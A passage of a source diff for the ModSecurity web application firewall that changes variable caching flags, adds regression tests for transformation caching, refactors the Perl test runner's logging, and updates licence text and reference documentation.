var_resource_generate, - VAR_DONT_CACHE, + VAR_DONT_CACHE, /* dynamic */ PHASE_REQUEST_HEADERS ); @@ -2552,7 +2560,7 @@ void msre_engine_register_default_variables(msre_engine *engine) { 0, 0, NULL, var_reqbody_processor_generate, - VAR_DONT_CACHE, + VAR_DONT_CACHE, /* temp copy */ PHASE_REQUEST_HEADERS ); @@ -2563,7 +2571,7 @@ void msre_engine_register_default_variables(msre_engine *engine) { 0, 0, NULL, var_reqbody_processor_error_generate, - VAR_DONT_CACHE, + VAR_DONT_CACHE, /* dynamic */ PHASE_REQUEST_BODY ); @@ -2574,7 +2582,7 @@ void msre_engine_register_default_variables(msre_engine *engine) { 0, 0, NULL, var_reqbody_processor_error_msg_generate, - VAR_DONT_CACHE, + VAR_DONT_CACHE, /* dynamic */ PHASE_REQUEST_BODY ); @@ -2585,7 +2593,7 @@ void msre_engine_register_default_variables(msre_engine *engine) { 0, 0, NULL, var_request_basename_generate, - VAR_CACHE, + VAR_DONT_CACHE, /* temp copy */ PHASE_REQUEST_HEADERS ); @@ -2695,7 +2703,7 @@ void msre_engine_register_default_variables(msre_engine *engine) { 0, 0, NULL, var_request_uri_generate, - VAR_CACHE, + VAR_DONT_CACHE, /* temp copy */ PHASE_REQUEST_HEADERS ); @@ -2728,7 +2736,7 @@ void msre_engine_register_default_variables(msre_engine *engine) { 0, 0, NULL, var_response_content_length, - VAR_CACHE, + VAR_DONT_CACHE, /* temp copy */ PHASE_RESPONSE_HEADERS ); @@ -2783,7 +2791,7 @@ void msre_engine_register_default_variables(msre_engine *engine) { 0, 0, NULL, var_response_status_generate, - VAR_CACHE, + VAR_DONT_CACHE, /* temp copy */ PHASE_RESPONSE_HEADERS ); @@ -2794,7 +2802,7 @@ void msre_engine_register_default_variables(msre_engine *engine) { 1, 1, NULL, var_rule_generate, - VAR_DONT_CACHE, + VAR_DONT_CACHE, /* dynamic */ PHASE_RESPONSE_HEADERS ); @@ -2805,7 +2813,7 @@ void msre_engine_register_default_variables(msre_engine *engine) { 0, 0, NULL, var_script_gid_generate, - VAR_CACHE, + VAR_DONT_CACHE, /* temp copy */ PHASE_REQUEST_BODY ); @@ -2816,7 +2824,7 @@ void msre_engine_register_default_variables(msre_engine *engine) { 0, 0, NULL, var_script_basename_generate, - VAR_CACHE, + VAR_DONT_CACHE, /* temp copy */ PHASE_REQUEST_BODY ); @@ -2838,7 +2846,7 @@ void msre_engine_register_default_variables(msre_engine *engine) { 0, 0, NULL, var_script_groupname_generate, - VAR_CACHE, + VAR_DONT_CACHE, /* temp copy */ PHASE_REQUEST_BODY ); @@ -2849,7 +2857,7 @@ void msre_engine_register_default_variables(msre_engine *engine) { 0, 0, NULL, var_script_mode_generate, - VAR_CACHE, + VAR_DONT_CACHE, /* temp copy */ PHASE_REQUEST_BODY ); @@ -2860,7 +2868,7 @@ void msre_engine_register_default_variables(msre_engine *engine) { 0, 0, NULL, var_script_uid_generate, - VAR_CACHE, + VAR_DONT_CACHE, /* temp copy */ PHASE_REQUEST_BODY ); @@ -2871,7 +2879,7 @@ void msre_engine_register_default_variables(msre_engine *engine) { 0, 0, NULL, var_script_username_generate, - VAR_CACHE, + VAR_DONT_CACHE, /* temp copy */ PHASE_REQUEST_BODY ); @@ -2904,7 +2912,7 @@ void msre_engine_register_default_variables(msre_engine *engine) { 0, 0, NULL, var_server_port_generate, - VAR_CACHE, + VAR_DONT_CACHE, /* temp copy */ PHASE_REQUEST_HEADERS ); @@ -2915,7 +2923,7 @@ void msre_engine_register_default_variables(msre_engine *engine) { 1, 1, var_generic_list_validate, var_session_generate, - VAR_DONT_CACHE, + VAR_DONT_CACHE, /* dynamic */ PHASE_REQUEST_HEADERS ); @@ -2926,7 +2934,7 @@ void msre_engine_register_default_variables(msre_engine *engine) { 0, 0, NULL, var_sessionid_generate, - VAR_DONT_CACHE, + VAR_DONT_CACHE, /* dynamic */ PHASE_RESPONSE_HEADERS ); @@ -2948,7 +2956,7 @@ void msre_engine_register_default_variables(msre_engine *engine) { 1, 1, var_generic_list_validate, var_user_generate, - VAR_CACHE, + VAR_DONT_CACHE, /* dynamic */ PHASE_REQUEST_HEADERS ); @@ -2959,7 +2967,7 @@ void msre_engine_register_default_variables(msre_engine *engine) { 0, 0, NULL, var_userid_generate, - VAR_DONT_CACHE, + VAR_DONT_CACHE, /* dynamic */ PHASE_RESPONSE_HEADERS ); @@ -2970,7 +2978,7 @@ void msre_engine_register_default_variables(msre_engine *engine) { 0, 0, NULL, var_time_generate, - VAR_DONT_CACHE, + VAR_DONT_CACHE, /* dynamic */ PHASE_REQUEST_HEADERS ); @@ -2981,7 +2989,7 @@ void msre_engine_register_default_variables(msre_engine *engine) { 0, 0, NULL, var_time_day_generate, - VAR_DONT_CACHE, + VAR_DONT_CACHE, /* dynamic */ PHASE_REQUEST_HEADERS ); @@ -2992,7 +3000,7 @@ void msre_engine_register_default_variables(msre_engine *engine) { 0, 0, NULL, var_time_epoch_generate, - VAR_DONT_CACHE, + VAR_DONT_CACHE, /* dynamic */ PHASE_REQUEST_HEADERS ); @@ -3003,7 +3011,7 @@ void msre_engine_register_default_variables(msre_engine *engine) { 0, 0, NULL, var_time_hour_generate, - VAR_DONT_CACHE, + VAR_DONT_CACHE, /* dynamic */ PHASE_REQUEST_HEADERS ); @@ -3014,7 +3022,7 @@ void msre_engine_register_default_variables(msre_engine *engine) { 0, 0, NULL, var_time_min_generate, - VAR_DONT_CACHE, + VAR_DONT_CACHE, /* dynamic */ PHASE_REQUEST_HEADERS ); @@ -3025,7 +3033,7 @@ void msre_engine_register_default_variables(msre_engine *engine) { 0, 0, NULL, var_time_mon_generate, - VAR_DONT_CACHE, + VAR_DONT_CACHE, /* dynamic */ PHASE_REQUEST_HEADERS ); @@ -3036,7 +3044,7 @@ void msre_engine_register_default_variables(msre_engine *engine) { 0, 0, NULL, var_time_sec_generate, - VAR_DONT_CACHE, + VAR_DONT_CACHE, /* dynamic */ PHASE_REQUEST_HEADERS ); @@ -3047,7 +3055,7 @@ void msre_engine_register_default_variables(msre_engine *engine) { 0, 0, NULL, var_time_wday_generate, - VAR_DONT_CACHE, + VAR_DONT_CACHE, /* dynamic */ PHASE_REQUEST_HEADERS ); @@ -3058,7 +3066,7 @@ void msre_engine_register_default_variables(msre_engine *engine) { 0, 0, NULL, var_time_year_generate, - VAR_DONT_CACHE, + VAR_DONT_CACHE, /* dynamic */ PHASE_REQUEST_HEADERS ); @@ -3069,7 +3077,7 @@ void msre_engine_register_default_variables(msre_engine *engine) { 1, 1, var_generic_list_validate, var_tx_generate, - VAR_DONT_CACHE, + VAR_DONT_CACHE, /* dynamic */ PHASE_REQUEST_HEADERS ); @@ -3091,7 +3099,7 @@ void msre_engine_register_default_variables(msre_engine *engine) { 0, 0, NULL, var_webserver_error_log_generate, - VAR_DONT_CACHE, + VAR_DONT_CACHE, /* dynamic */ PHASE_REQUEST_HEADERS ); @@ -3102,7 +3110,7 @@ void msre_engine_register_default_variables(msre_engine *engine) { 0, 1, var_xml_validate, var_xml_generate, - VAR_CACHE, + VAR_DONT_CACHE, /* dynamic */ PHASE_REQUEST_BODY ); } diff --git a/apache2/t/regression/action/10-detectiononly-actions.t b/apache2/t/regression/action/10-detectiononly-actions.t index 74d71456..238972c7 100644 --- a/apache2/t/regression/action/10-detectiononly-actions.t +++ b/apache2/t/regression/action/10-detectiononly-actions.t @@ -107,7 +107,7 @@ match_log => { error => [ qr/ModSecurity: Warning. Unconditional match in SecAction.*ALLOWED/, 1 ], -error => [ qr/Access allowed/, 1 ], -# TODO: Allow should probably rule stop execution +# TODO: Allow should probably stop rule execution # -error => [ qr/DENIED/, 1 ], }, match_response => { @@ -131,7 +131,7 @@ match_log => { error => [ qr/ModSecurity: Warning. Unconditional match in SecAction.*ALLOWED/, 1 ], -error => [ qr/Access allowed/, 1 ], -# TODO: Allow should probably rule stop execution +# TODO: Allow should probably stop rule execution # -error => [ qr/DENIED/, 1 ], }, match_response => { @@ -155,7 +155,7 @@ match_log => { error => [ qr/ModSecurity: Warning. Unconditional match in SecAction.*ALLOWED/, 1 ], -error => [ qr/Access allowed/, 1 ], -# TODO: Allow should probably rule stop execution +# TODO: Allow should probably stop rule execution # -error => [ qr/DENIED/, 1 ], }, match_response => { @@ -179,7 +179,7 @@ match_log => { error => [ qr/ModSecurity: Warning. Unconditional match in SecAction.*ALLOWED/, 1 ], -error => [ qr/Access allowed/, 1 ], -# TODO: Allow should probably rule stop execution +# TODO: Allow should probably stop rule execution # -error => [ qr/DENIED/, 1 ], }, match_response => { diff --git a/apache2/t/regression/misc/10-tfn-cache.t b/apache2/t/regression/misc/10-tfn-cache.t new file mode 100644 index 00000000..271834db --- /dev/null +++ b/apache2/t/regression/misc/10-tfn-cache.t @@ -0,0 +1,189 @@ +### Transformation Caching + +{ + type => "misc", + comment => "tfncache (simple fully cached)", + conf => qq( + SecRuleEngine On + SecDebugLog $ENV{DEBUG_LOG} + SecDebugLogLevel 9 + + # We need to make this work no matter what the defaults may change to + SecCacheTransformations On "minlen:1,maxlen:0" + + # This should cache it + SecRule ARGS_GET "WillNotMatch" "phase:1,t:none,t:removeWhiteSpace,t:lowercase,pass,nolog" + + # This should use the cached value + SecRule ARGS_GET:test "foobar" "phase:1,t:none,t:removeWhiteSpace,t:lowercase,deny" + ), + match_log => { + debug => [ qr/removeWhiteSpace,lowercase: "foobar" .*cached/, 1 ], + -debug => [ qr/partially cached/, 1 ], + }, + match_response => { + status => qr/^403$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/index.html?test=Foo+Bar", + ), +}, +{ + type => "misc", + comment => "tfncache (simple partially cached)", + conf => qq( + SecRuleEngine On + SecDebugLog $ENV{DEBUG_LOG} + SecDebugLogLevel 9 + + # We need to make this work no matter what the defaults may change to + SecCacheTransformations On "minlen:1,maxlen:0,incremental:off,maxitems:0" + + # This should cache it + SecRule ARGS_GET "WillNotMatch" "phase:1,t:none,t:removeWhiteSpace,pass,nolog" + + # This should use the partially cached value + SecRule ARGS_GET:test "foobar" "phase:1,t:none,t:removeWhiteSpace,t:lowercase,deny" + ), + match_log => { + debug => [ qr/removeWhiteSpace: "FooBar" .*partially cached/, 1 ], + }, + match_response => { + status => qr/^403$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/index.html?test=Foo+Bar", + ), +}, +{ + type => "misc", + comment => "tfncache (separate phases)", + conf => qq( + SecRuleEngine On + SecDebugLog $ENV{DEBUG_LOG} + SecDebugLogLevel 9 + + # We need to make this work no matter what the defaults may change to + SecCacheTransformations On "minlen:1,maxlen:0" + + # This should cache it + SecRule ARGS_GET "WillNotMatch" "phase:1,t:none,t:removeWhiteSpace,t:lowercase,pass,nolog" + + # This should use the cached value + SecRule ARGS_GET:test "foobar" "phase:2,t:none,t:removeWhiteSpace,t:lowercase,deny" + ), + match_log => { + -debug => [ qr/removeWhiteSpace,lowercase: "foobar" .*cached/, 1 ], + }, + match_response => { + status => qr/^403$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/index.html?test=Foo+Bar", + ), +}, +{ + type => "misc", + comment => "tfncache (non-modifying tfns cached)", + conf => qq( + SecRuleEngine On + SecDebugLog $ENV{DEBUG_LOG} + SecDebugLogLevel 9 + + # We need to make this work no matter what the defaults may change to + SecCacheTransformations On "minlen:1,maxlen:0" + + # This should cache it + SecRule ARGS_GET "WillNotMatch" "phase:1,t:none,t:removeWhiteSpace,t:lowercase,pass,nolog" + + # This should use the cached value + SecRule ARGS_GET:test "foobar" "phase:1,t:none,t:removeWhiteSpace,t:lowercase,deny" + ), + match_log => { + debug => [ qr/removeWhiteSpace,lowercase: "foobar" .*cached/, 1 ], + }, + match_response => { + status => qr/^403$/, + }, + request => new HTTP::Request( + GET => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/index.html?test=foo+bar", + ), +}, +{ + type => "misc", + comment => "tfncache (unique keys)", + conf => qq( + SecRuleEngine On + SecDebugLog $ENV{DEBUG_LOG} + SecDebugLogLevel 9 + SecRequestBodyAccess On + + # We need to make this work no matter what the defaults may change to + SecCacheTransformations On "minlen:1,maxlen:0" + + # This should cache it + SecRule ARGS "WillNotMatch" "phase:2,t:none,t:removeWhiteSpace,t:lowercase,pass" + + # This should see cached versions of *both* ARGS_GET + SecRule ARGS:test "queryval" "phase:2,t:none,t:removeWhiteSpace,t:lowercase,deny,chain" + SecRule ARGS:test "firstval" "t:none,t:removeWhiteSpace,t:lowercase,chain" + SecRule ARGS:test "secondval" "t:none,t:removeWhiteSpace,t:lowercase" + ), + match_log => { + debug => [ qr/removeWhiteSpace,lowercase: "queryval" .*removeWhiteSpace,lowercase: "firstval" .*cached.*removeWhiteSpace,lowercase: "secondval" .*cached/s, 1 ], + }, + match_response => { + status => qr/^403$/, + }, + request => new HTTP::Request( + POST => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/index.html?test=Query+Val", + [ + "Content-Type" => "application/x-www-form-urlencoded", + ], + # Args + "test=First+Val&test=Second+Val", + ), +}, +{ + type => "misc", + comment => "tfncache (large cache)", + conf => qq( + SecRuleEngine On + SecDebugLog $ENV{DEBUG_LOG} + SecDebugLogLevel 9 + SecRequestBodyAccess On + + + SecRequestBodyNoFilesLimit 1048576 + + SecRequestBodyInMemoryLimit 131072 + SecResponseBodyLimit 1048576 + + # We need to make this work no matter what the defaults may change to + SecCacheTransformations On "minlen:1,maxlen:0,maxitems:0" + + # This should cache it in all phases + SecRule ARGS "WillNotMatch" "phase:1,t:none,t:removeWhiteSpace,t:lowercase,pass,nolog" + SecRule ARGS "WillNotMatch" "phase:2,t:none,t:removeWhiteSpace,t:lowercase,pass,nolog" + SecRule ARGS "WillNotMatch" "phase:3,t:none,t:removeWhiteSpace,t:lowercase,pass,nolog" + SecRule ARGS "WillNotMatch" "phase:4,t:none,t:removeWhiteSpace,t:lowercase,pass,nolog" + + # This should use the cached value + SecRule ARGS "foobar" "phase:4,t:none,t:removeWhiteSpace,t:lowercase,deny" + ), + match_log => { + debug => [ qr/Adding request argument \(BODY\): name "test", value "Foo Bar"/, 60, "Waiting for httpd to process request: "], + -error => [ qr/segmentation fault/i, 60 ], + }, + match_response => { + status => qr/^403$/, + }, + request => new HTTP::Request( + POST => "http://$ENV{SERVER_NAME}:$ENV{SERVER_PORT}/index.html", + [ + "Content-Type" => "application/x-www-form-urlencoded", + ], + # 1000 Args + join("&", map { sprintf "arg%08d=0123456789abcdef+0123456789ABCDEF+0123456789abcdef", $_ } (1 .. 1000))."&test=Foo+Bar", + ), +}, diff --git a/apache2/t/run-regression-tests.pl.in b/apache2/t/run-regression-tests.pl.in index 6ddfbb8a..69243227 100755 --- a/apache2/t/run-regression-tests.pl.in +++ b/apache2/t/run-regression-tests.pl.in @@ -35,6 +35,7 @@ my $PID_FILE = "$FILES_DIR/httpd.pid"; my $HTTPD = q(@APXS_HTTPD@); my $PASSED = 0; my $TOTAL = 0; +my $BUFSIZ = 32768; my %C = (); my %FILE = (); my $UA_NAME = "ModSecurity Regression Tests/1.2.3"; @@ -49,9 +50,9 @@ if ($HTTPD eq "\@APXS_HTTPD\@") { $SIG{TERM} = $SIG{INT} = \&handle_interrupt; my %opt; -getopts('A:E:D:C:T:H:a:p:dh', \%opt); +getopts('A:E:D:C:T:H:a:p:dvh', \%opt); -if ($opt{D}) { +if ($opt{d}) { $Data::Dumper::Indent = 1; $Data::Dumper::Terse = 1; $Data::Dumper::Pad = ""; @@ -72,7 +73,8 @@ Usage: $SCRIPT [options] [file [N]] -S path Specify Apache httpd server root path. -a file Specify Apache httpd binary (default: httpd) -p port Specify Apache httpd port (default: 8088) - -d Enable debugging. + -v Enable verbose output (details on failure). + -d Enable debugging output. -h This help. EOT @@ -98,6 +100,7 @@ $opt{E} = "$FILES_DIR/error.log" unless (defined $opt{E}); $opt{C} = "$CONF_DIR/httpd.conf" unless (defined $opt{C}); $opt{H} = "$SROOT_DIR/htdocs" unless (defined $opt{H}); $opt{p} = 8088 unless (defined $opt{p}); +$opt{v} = 1 if ($opt{d}); unless (defined $opt{S}) { my $httpd_root = `$HTTPD -V`; @@ -194,7 +197,7 @@ sub runfile { if (exists $t{conf} and defined $t{conf}) { $conf_fn = sprintf "%s/%s_%s_%06d.conf", $CONF_DIR, $t{type}, $cfg, $n; -# dbg("Writing test config to: $conf_fn"); + #dbg("Writing test config to: $conf_fn"); open(CONF, ">$conf_fn") or die "Failed to open conf \"$conf_fn\": $!\n"; print CONF (ref $t{conf} eq "CODE" ? eval { &{$t{conf}} } : $t{conf}); msg("$@") if ($@); @@ -207,9 +210,9 @@ sub runfile { # Run any prerun setup if ($rc == 0 and exists $t{prerun} and defined $t{prerun}) { - dbg("Executing perl prerun..."); + vrb("Executing perl prerun..."); $rc = &{$t{prerun}}; - dbg("Perl prerun returned: $rc"); + vrb("Perl prerun returned: $rc"); } if ($httpd_up) { @@ -218,7 +221,7 @@ sub runfile { my $resp = do_request($t{request}); if (!$resp) { msg("invalid response"); - dbg("RESPONSE: ", $resp); + vrb("RESPONSE: ", $resp); $rc = 1; } else { @@ -229,14 +232,13 @@ sub runfile { if ($neg and defined $match) { $rc = 1; msg("response $mtype matched: $m"); - dbg($resp); - + vrb($resp); last; } elsif (!$neg and !defined $match) { $rc = 1; msg("response $mtype failed to match: $m"); - dbg($resp); + vrb($resp); last; } } @@ -245,13 +247,13 @@ sub runfile { # Run any arbitrary perl tests if ($rc == 0 and exists $t{test} and defined $t{test}) { - #dbg("Executing perl test(s)..."); + dbg("Executing perl test(s)..."); $rc = eval { &{$t{test}} }; if (! defined $rc) { msg("Error running test: $@"); $rc = -1; } - #dbg("Perl tests returned: $rc"); + dbg("Perl tests returned: $rc"); } # Search for all log matches @@ -263,15 +265,11 @@ sub runfile { if ($neg and defined $match) { $rc = 1; msg("$mtype log matched: $m->[0]"); - msg("Log: $FILE{$mtype}{fn}"); - dbg(escape("$FILE{$mtype}{buf}")); last; } elsif (!$neg and !defined $match) { $rc = 1; msg("$mtype log failed to match: $m->[0]"); - msg("Log: $FILE{$mtype}{fn}"); - dbg(escape("$FILE{$mtype}{buf}")); last; } } @@ -287,13 +285,11 @@ sub runfile { if ($neg and defined $match) { $rc = 1; msg("$fn file matched: $m"); - dbg(escape("$FILE{$fn}{buf}")); last; } elsif (!$neg and !defined $match) { $rc = 1; msg("$fn file failed match: $m"); - dbg(escape("$FILE{$fn}{buf}")); last; } } @@ -308,7 +304,11 @@ sub runfile { $pass++; } else { - dbg("Test config: $conf_fn"); + vrb("Test Config: $conf_fn"); + vrb("Debug Log: $FILE{debug}{fn}"); + dbg(escape("$FILE{debug}{buf}")); + vrb("Error Log: $FILE{error}{fn}"); + dbg(escape("$FILE{error}{buf}")); } msg(sprintf("%s) %s%s: %s%s", $id, $t{type}, (exists($t{comment}) ? " - $t{comment}" : ""), ($rc ? "failed" : "passed"), ((defined($out) && $out ne "")? " ($out)" : ""))); @@ -375,15 +375,11 @@ sub do_request { } if (ref $r eq "HTTP::Request") { -# dbg("REQUEST: ", $r); my $resp = $UA->request($r); - if ($opt{d}) { - dbg($resp->request()->as_string()); - } + dbg($resp->request()->as_string()) if ($opt{d}); return $resp } else { -# dbg("REQUEST:\n", $r); return do_raw_request($r); } @@ -409,13 +405,17 @@ sub match_response { return; } +sub read_log { + my($name, $timeout, $graph) = @_; + return match_log($name, undef, $timeout, $graph); +} + sub match_log { - my($name, $re, $timeout) = @_; + my($name, $re, $timeout, $graph) = @_; my $t0 = gettimeofday; my($fh,$rbuf) = ($FILE{$name}{fd}, \$FILE{$name}{buf}); my $n = length($$rbuf); - - msg("Warning: Empty regular expression.") if (!defined $re or $re eq ""); + my $rc = undef; unless (defined $fh) { msg("Error: File \"$name\" is not opened for matching."); @@ -424,15 +424,45 @@ sub match_log { $timeout = 0 unless (defined $timeout); - do { - $n += $fh->sysread($$rbuf, 1024, $n); -# dbg("Match \"$re\" in $name \"$$rbuf\" ($n)"); - return $& if ($$rbuf =~ m/$re/m); - # TODO: Use select()/poll() - sleep 0.1; - } while (gettimeofday - $t0 < $timeout); + my $i = 0; + my $graphed = 0; + READ: { + do { + my $nbytes = $fh->sysread($$rbuf, $BUFSIZ, $n); + if (!defined($nbytes)) { + msg("Error: Could not read \"$name\" log: $!"); + last; + } + elsif (!defined($re) and $nbytes == 0) { + last; + } - return; + # Remove APR pool debugging + $$rbuf =~ s/POOL DEBUG:[^\n]+PALLOC[^\n]+\n//sg; + + $n = length($$rbuf); + + #dbg("Match \"$re\" in $name \"$$rbuf\" ($n)"); + if ($$rbuf =~ m/$re/m) { + $rc = $&; + last; + } + # TODO: Use select()/poll() + sleep 0.1 unless ($nbytes == $BUFSIZ); + if ($graph and $opt{d}) { + $i++; + if ($i == 10) { + $graphed++; + $i=0; + print STDERR $graph if ($graphed == 1); + print STDERR "." + } + } + } while (gettimeofday - $t0 < $timeout); + } + print STDERR "\n" if ($graphed); + + return $rc; } sub match_file { @@ -477,6 +507,11 @@ sub dbg { print STDOUT "$out\n"; } +sub vrb { + return unless(@_ and $opt{v}); + msg(@_); +} + sub msg { return unless(@_); my $out = join "", map { @@ -524,14 +559,14 @@ sub httpd_start { my $httpd_out; my $httpd_pid = open3(undef, $httpd_out, undef, @p) or quit(1); - my $out = join("\\n", split(/\n/, <$httpd_out>)); + my $out = join("\\n", grep(!/POOL DEBUG/, (<$httpd_out>))); close $httpd_out; waitpid($httpd_pid, 0); my $rc = $?; if ( WIFEXITED($rc) ) { $rc = WEXITSTATUS($rc); - dbg("Httpd start returned with $rc.") if ($rc); + vrb("Httpd start returned with $rc.") if ($rc); } elsif( WIFSIGNALED($rc) ) { msg("Httpd start failed with signal " . WTERMSIG($rc) . "."); @@ -543,15 +578,15 @@ sub httpd_start { } if (defined $out and $out ne "") { - dbg(join(" ", map { quote_shell($_) } @p)); + vrb(join(" ", map { quote_shell($_) } @p)); msg("Httpd start failed with error messages:\n$out"); return -1 } # Look for startup msg - unless (defined match_log("error", qr/resuming normal operations/, 10)) { - dbg(join(" ", map { quote_shell($_) } @p)); - dbg(match_log("error", qr/(^.*ModSecurity: .*)/sm, 10)); + unless (defined match_log("error", qr/resuming normal operations/, 60, "Waiting on httpd to start: ")) { + vrb(join(" ", map { quote_shell($_) } @p)); + vrb(match_log("error", qr/(^.*ModSecurity: .*)/sm, 10)); msg("Httpd server failed to start."); return -1; } @@ -571,7 +606,7 @@ sub httpd_stop { my $httpd_out; my $httpd_pid = open3(undef, $httpd_out, undef, @p) or quit(1); - my $out = join("\\n", split(/\n/, <$httpd_out>)); + my $out = join("\\n", grep(!/POOL DEBUG/, (<$httpd_out>))); close $httpd_out; waitpid($httpd_pid, 0); @@ -583,7 +618,7 @@ sub httpd_stop { my $rc = $?; if ( WIFEXITED($rc) ) { $rc = WEXITSTATUS($rc); - dbg("Httpd stop returned with $rc.") if ($rc); + vrb("Httpd stop returned with $rc.") if ($rc); } elsif( WIFSIGNALED($rc) ) { msg("Httpd stop failed with signal " . WTERMSIG($rc) . "."); @@ -595,8 +630,8 @@ sub httpd_stop { } # Look for startup msg - unless (defined match_log("error", qr/caught SIG[A-Z]+, shutting down/, 10)) { - dbg(join(" ", map { quote_shell($_) } @p)); + unless (defined match_log("error", qr/caught SIG[A-Z]+, shutting down/, 60, "Waiting on httpd to stop: ")) { + vrb(join(" ", map { quote_shell($_) } @p)); msg("Httpd server failed to shutdown."); return -1; } @@ -617,7 +652,7 @@ sub httpd_reload { my $httpd_out; my $httpd_pid = open3(undef, $httpd_out, undef, @p) or quit(1); - my $out = join("\\n", split(/\n/, <$httpd_out>)); + my $out = join("\\n", grep(!/POOL DEBUG/, (<$httpd_out>))); close $httpd_out; waitpid($httpd_pid, 0); @@ -629,7 +664,7 @@ sub httpd_reload { my $rc = $?; if ( WIFEXITED($rc) ) { $rc = WEXITSTATUS($rc); - dbg("Httpd reload returned with $rc.") if ($rc); + vrb("Httpd reload returned with $rc.") if ($rc); } elsif( WIFSIGNALED($rc) ) { msg("Httpd reload failed with signal " . WTERMSIG($rc) . "."); @@ -641,8 +676,8 @@ sub httpd_reload { } # Look for startup msg - unless (defined match_log("error", qr/resuming normal operations/, 10)) { - dbg(join(" ", map { quote_shell($_) } @p)); + unless (defined match_log("error", qr/resuming normal operations/, 60, "Waiting on httpd to restart: ")) { + vrb(join(" ", map { quote_shell($_) } @p)); msg("Httpd server failed to reload."); return -1; } diff --git a/apache2/utf8tables.h b/apache2/utf8tables.h index 5bd74253..75b6554f 100644 --- a/apache2/utf8tables.h +++ b/apache2/utf8tables.h @@ -2,17 +2,25 @@ * ModSecurity for Apache 2.x, http://www.modsecurity.org/ * Copyright (c) 2004-2008 Breach Security, Inc. (http://www.breach.com/) * - * You should have received a copy of the licence along with this - * program (stored in the file "LICENSE"). If the file is missing, - * or if you have any other questions related to the licence, please - * write to Breach Security, Inc. at support@breach.com. + * This product is released under the terms of the General Public Licence, + * version 2 (GPLv2). Please refer to the file LICENSE (included with this + * distribution) which contains the complete text of the licence. + * + * There are special exceptions to the terms and conditions of the GPL + * as it is applied to this software. View the full text of the exception in + * file MODSECURITY_LICENSING_EXCEPTION in the directory of this software + * distribution. + * + * If any of the files related to licensing are missing or if you have any + * other questions related to licensing please contact Breach Security, Inc. + * directly using the email address support@breach.com. * */ #ifndef UTF8TABLES_H_ #define UTF8TABLES_H_ /** - * This include file is used by acmp.c only, it's not included anywhere else + * This include file is used by acmp.c only; it's not included anywhere else. */ typedef long acmp_utf8_char_t; diff --git a/doc/modsecurity2-apache-reference.xml b/doc/modsecurity2-apache-reference.xml index 523ba44e..55d6c0dd 100644 --- a/doc/modsecurity2-apache-reference.xml +++ b/doc/modsecurity2-apache-reference.xml @@ -4,7 +4,7 @@ Manual - Version 2.6.0-trunk (July 16, 2008) + Version 2.6.0-trunk (July 31, 2008) 2004-2008 @@ -182,15 +182,15 @@ Security. - ModSecurity, mod_security, and ModSecurity Pro are trademarks or - registered trademarks of Breach Security, Inc. + ModSecurity, mod_security, ModSecurity Pro, and ModSecurity Core + Rules are trademarks or registered trademarks of Breach Security, + Inc.
- <trademark class="registered">ModSecurity</trademark> Core - Rules + <trademark>ModSecurity Core Rules</trademark>
Overview @@ -858,10 +858,12 @@ SecAuditLogStorageDir logs/audit
- <literal>SecCacheTransformations</literal> + <literal>SecCacheTransformations</literal> + (Deprecated/Experimental) Description: Controls caching of - transformations. + transformations. Caching is off by default starting with 2.5.6, when it + was deprecated and downgraded back to experimental. Syntax: SecCacheTransformations On|Off @@ -898,16 +900,30 @@ SecAuditLogStorageDir logs/audit The following options are allowed (comma separated): + + incremental:on|off - + enabling this option will cache every transformation instead of just + the final transformation. (default: off) + + + + maxitems:N - do not allow + more than N transformations to be cached. The cache will then be + disabled. A zero value is interpreted as "unlimited". This option + may be useful to limit caching for a form with a large number of + ARGS. (default: 512) + + minlen:N - do not cache the transformation if the value's length is less than N bytes. (default: - 15) + 32) maxlen:N - do not cache the transformation if the value's length is more than N bytes. A zero - value is interpreted as "unlimited". (default: 0) + value is interpreted as "unlimited". (default: 1024)
@@ -1284,7 +1300,8 @@ SecAuditLogStorageDir logs/audit Dependencies/Notes: None - SecRule REQUEST_URI "^/$" "chain,skipAfter:99" + SecRule REQUEST_URI "^/$" \ + "chain,t:none,t:urlDecode,t:lowercase,t:normalisePath,skipAfter:99" SecRule REMOTE_ADDR "^127\.0\.0\.1$" "chain" SecRule REQUEST_HEADERS:User-Agent \ "^Apache \(internal dummy connection\)$" "t:none" @@ -1452,10 +1469,11 @@ SecRule &REQUEST_HEADERS:Accept "@eq 0" \ Version: 2.0.0 Dependencies/Notes: This directive is - required if you plan to inspect POST_PAYLOADS of requests. This + required if you plan to inspect POST_PAYLOAD. This directive must be used along with the "phase:2" processing phase action - and REQUEST_BODY variable/location. If any of these 3 parts are not - configured, you will not be able to inspect the request bodies. + and REQUEST_BODY variable/location. If any of these 3 + parts are not configured, you will not be able to inspect the request + bodies. Possible values are: @@ -1724,7 +1742,10 @@ SecResponseBodyLimit 524288 VARIABLES OPERATOR [ACTIONS] Example Usage: SecRule REQUEST_URI "attack" + moreinfo="none">SecRule REQUEST_URI "attack" \ + + + "phase:1,t:none,t:urlDecode,t:lowercase,t:normalisePath" Processing Phase: Any @@ -1752,11 +1773,11 @@ SecResponseBodyLimit 524288 following rule will reject a transaction that has the word dirty in the URI: - SecRule REQUEST_URI dirty + SecRule ARGS dirty Each rule can specify one or more variables: - SecRule REQUEST_URI|QUERY_STRING dirty + SecRule ARGS|REQUEST_HEADERS:User-Agent dirty There is a third format supported by the selection operator - XPath expression. XPath expressions can only used against the special @@ -1783,7 +1804,7 @@ SecResponseBodyLimit 524288 moreinfo="none">@ as the first character in the second rule parameter: - SecRule REQUEST_URI "@rx dirty" + SecRule ARGS "@rx dirty" Note how we had to use double quotes to delimit the second rule parameter. This is because the second parameter now has a whitespace @@ -2019,7 +2040,7 @@ function main() -- Retrieve one variable, applying one transformation function. -- The second parameter is a string. - local var2 = m.getvar("REQUEST_URI", "normalisePath"); + local var2 = m.getvar("ARGS", "lowercase"); -- Retrieve one variable, applying several transformation functions. -- The second parameter is now a list. You should note that m.getvar() @@ -2537,7 +2558,8 @@ SecRule REQUEST_HEADERS:Host "!^$" "deny,phase:1" - SecRule REQUEST_FILENAME "^/cgi-bin/login\.php$" "chain,log,deny,phase:2" + SecRule REQUEST_FILENAME "^/cgi-bin/login\.php" \ + "chain,log,deny,phase:2,t:none,t:lowercase,t:normalisePath" SecRule ARGS_COMBINED_SIZE "@gt 25"
